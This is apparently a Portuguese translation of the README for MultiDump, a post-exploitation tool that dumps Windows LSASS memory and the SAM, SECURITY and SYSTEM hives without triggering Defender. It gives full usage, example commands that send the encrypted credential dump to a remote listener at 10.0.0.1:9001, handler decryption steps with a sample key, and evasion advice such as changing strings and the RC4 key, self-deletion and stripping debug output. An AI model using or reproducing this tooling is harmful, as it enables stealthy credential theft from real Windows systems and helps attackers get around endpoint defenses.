
MultiDump é uma ferramenta de pós-exploração para despejar e extrair a memória do LSASS de forma discreta.
MultiDump é uma ferramenta de pós-exploração escrita em C para despejar e extrair a memória do LSASS de forma discreta, sem acionar alertas do Defender, com um handler escrito em Python.

Artigo no blog: https://xreous.io/posts/multidump
MultiDump suporta o despejo do LSASS via ProcDump.exe ou comsvc.dll, oferecendo dois modos: um modo local que criptografa e armazena o arquivo de despejo localmente, e um modo remoto que envia o despejo para um handler para descriptografia e análise.
__ __ _ _ _ _____
| \/ |_ _| | |_(_) __ \ _ _ _ __ ___ _ __
| |\/| | | | | | __| | | | | | | | '_ ` _ \| '_ \
| | | | |_| | | |_| | |__| | |_| | | | | | | |_) |
|_| |_|\__,_|_|\__|_|_____/ \__,_|_| |_| |_| .__/
|_|
Usage: MultiDump.exe [-p <ProcDumpPath>] [-l <LocalDumpPath> | -r <RemoteHandlerAddr>] [--procdump] [-v]
-p Path to save procdump.exe, use full path. Default to temp directory
-l Path to save encrypted dump file, use full path. Default to current directory
-r Set ip:port to connect to a remote handler
--procdump Writes procdump to disk and use it to dump LSASS
--nodump Disable LSASS dumping
--reg Dump SAM, SECURITY and SYSTEM hives
--delay Increase interval between connections to for slower network speeds
-v Enable verbose mode
MultiDump defaults in local mode using comsvcs.dll and saves the encrypted dump in the current directory.
Examples:
MultiDump.exe -l C:\Users\Public\lsass.dmp -v
MultiDump.exe --procdump -p C:\Tools\procdump.exe -r 192.168.1.100:5000
usage: MultiDumpHandler.py [-h] [-r REMOTE] [-l LOCAL] [--sam SAM] [--security SECURITY] [--system SYSTEM] [-k KEY] [--override-ip OVERRIDE_IP]
Handler for MultiDump
options:
-h, --help show this help message and exit
-r REMOTE, --remote REMOTE
Port to receive remote dump file
-l LOCAL, --local LOCAL
Local dump file, key needed to decrypt
--sam SAM Local SAM save, key needed to decrypt
--security SECURITY Local SECURITY save, key needed to decrypt
--system SYSTEM Local SYSTEM save, key needed to decrypt
-k KEY, --key KEY Key to decrypt local file
--override-ip OVERRIDE_IP
Manually specify the IP address for key generation in remote mode, for proxied connection
Tal como acontece com todas as ferramentas relacionadas ao LSASS, são necessários privilégios de Administrador/SeDebugPrivilege.
O handler depende do Pypykatz para analisar o despejo do LSASS e do impacket para analisar os saves do registro. Eles devem estar instalados no seu ambiente. Se vir o erro All detection methods failed, provavelmente a versão do Pypykatz está desatualizada.
Por padrão, o MultiDump usa o método Comsvc.dll e salva o despejo criptografado no diretório atual.
MultiDump.exe
...
[i] Local Mode Selected. Writing Encrypted Dump File to Disk...
[i] C:\Users\MalTest\Desktop\dciqjp.dat Written to Disk.
[i] Key: 91ea54633cd31cc23eb3089928e9cd5af396d35ee8f738d8bdf2180801ee0cb1bae8f0cc4cc3ea7e9ce0a74876efe87e2c053efa80ee1111c4c4e7c640c0e33e
./MultiDumpHandler.py -l dciqjp.dat -k 91ea54633cd31cc23eb3089928e9cd5af396d35ee8f738d8bdf2180801ee0cb1bae8f0cc4cc3ea7e9ce0a74876efe87e2c053efa80ee1111c4c4e7c640c0e33e
Se --procdump for utilizado, o ProcDump.exe será gravado em disco para despejar o LSASS.
No cmd, --procdump must ser usado, ou irá falhar conforme #5, recomenda-se usar sempre o powershell se possível.
No modo remoto, o MultiDump conecta-se ao listener do handler.
./MultiDumpHandler.py -r 9001
[i] Listening on port 9001 for encrypted key...
MultiDump.exe -r 10.0.0.1:9001
A chave é criptografada com o IP e porta do handler. Quando o MultiDump se conecta através de um proxy, o handler deve usar a opção --override-ip para especificar manualmente o endereço IP para a geração da chave no modo remoto, garantindo que a descriptografia funcione corretamente ao combinar o IP de descriptografia com o IP esperado definido em MultiDump -r.
Uma opção adicional para despejar os hives SAM, SECURITY e SYSTEM está disponível com --reg, o processo de descriptografia é o mesmo que para despejos do LSASS. Isto é mais um recurso de conveniência para facilitar a coleta de informações de pós-exploração.
Abra no Visual Studio, compile no modo Release.
Recomenda-se personalizar o binário antes de compilar, como alterar as strings estáticas ou a chave RC4 usada para criptografá-las. Para isso, outro projeto do Visual Studio, EncryptionHelper, está incluído. Basta alterar a chave ou strings e a saída do EncryptionHelper.exe compilado pode ser colada em MultiDump.c e Common.h.
A auto-exclusão pode ser ativada descomentando a seguinte linha em Common.h:
#define SELF_DELETION
Para evitar ainda mais a análise de strings, a maioria das mensagens de saída pode ser excluída da compilação comentando a seguinte linha em Debug.h:
//#define DEBUG
O MultiDump pode ser detectado no Windows 10 22H2 (19045) (mais ou menos), e eu implementei uma correção para isso (mais ou menos), a investigação e implementação merecem um artigo próprio: https://xre0us.io/posts/saving-lsass-from-defender/